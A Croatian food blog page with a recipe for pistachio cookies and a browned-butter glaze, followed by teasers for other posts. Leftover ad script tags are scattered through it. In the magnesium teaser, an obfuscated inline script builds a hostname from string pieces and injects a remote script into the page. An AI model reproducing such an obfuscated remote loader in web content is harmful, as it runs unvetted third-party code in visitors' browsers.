KOLAČIĆI S PISTACIJAMA





Kolačići s pistacijama 



Mirisni, prhki i nježno zeleni kolačići s pistacijama savršen su izbor kada želite pripremiti nešto slatko, brzo i malo drugačije. Ovi zalogajčići rade se u samo jednoj zdjeli, s tek nekoliko osnovnih sastojaka, a zahvaljujući pravim pistacijama imaju bogat i prirodan okus.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>



Kolačići s pistacijama 


Sastojci:

Za kolačiće

  • 130 g pistacija (slanih ili neslanih)
  • 230 g maslaca, omekšanog na sobnoj temperaturi
  • 90 g šećera u prahu
  • 1 čajna žličica) ekstrakta vanilije
  • 1 čajna žličica ekstrakta badema
  • 280 g glatkog brašna
  • 1–2 kapi zelene prehrambene boje, po želji

Za preljev od smeđeg maslaca (po želji)

  • 60 g maslaca
  • 120 g šećera u prahu
  • 30 ml mlijeka ili slatkog vrhnja
  • ¼ čajne žličice ekstrakta vanilije

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>

Priprema:

  1. Pistacije stavite u sjeckalicu ili mali multipraktik te ih usitnite dok ne dobijete vrlo sitne mrvice. Trebat će vam oko ¾ šalice (otprilike 90 g) sitno mljevenih pistacija. Ostatak ostavite sa strane.
  2. U većoj zdjeli mikserom kratko izmiksajte omekšani maslac, oko 1 minute, dok ne postane potpuno gladak i kremast. Dodajte šećer u prahu, ekstrakt vanilije i ekstrakt badema te miksajte dok se sastojci ne sjedine. U smjesu dodajte brašno, usitnjene pistacije i, po želji, kap ili dvije zelene boje. Miješajte dok ne dobijete gusto tijesto. U početku može izgledati suho, ali će se tijekom miješanja povezati.
  3. Zdjelu pokrijte i stavite tijesto u hladnjak na najmanje 30 minuta (može stajati i do 3 dana). Ako tijesto hladite dulje od 2 sata, prije oblikovanja ga ostavite oko 30 minuta na sobnoj temperaturi kako bi omekšalo.
  4. Pećnicu zagrijte na 175 stupnjeva. Lim za pečenje obložite papirom za pečenje.
  5. Od tijesta oblikujte kuglice veličine otprilike jedne žlice tijesta i rasporedite ih na lim, s razmakom od oko 5 cm. Ako se tijesto mrvi, nastavite ga oblikovati rukama – toplina dlanova pomoći će da se poveže.
  6. Kolačiće pecite 14–15 minuta, dok donji rubovi lagano ne porumene, a vrh ostane svijetao.
  7. Nakon pečenja ostavite ih 5 minuta na limu, zatim ih premjestite na rešetku da se potpuno ohlade.
  8. Maslac narežite na komade i stavite u svijetlu tavu. Zagrijavajte na srednje jakoj vatri uz povremeno miješanje.
  9. U mlaki maslac umiješajte šećer u prahu, mlijeko i vaniliju te pjenjačom izmiješajte do glatke glazure. Po potrebi dodajte još šećera u prahu za gušću teksturu ili malo mlijeka ako želite rjeđu.
  10. Ohlađene kolačiće umočite u glazuru ili je lagano prelijte preko njih. Preljev će se stvrdnuti za otprilike 1–2 sata.
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>





Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više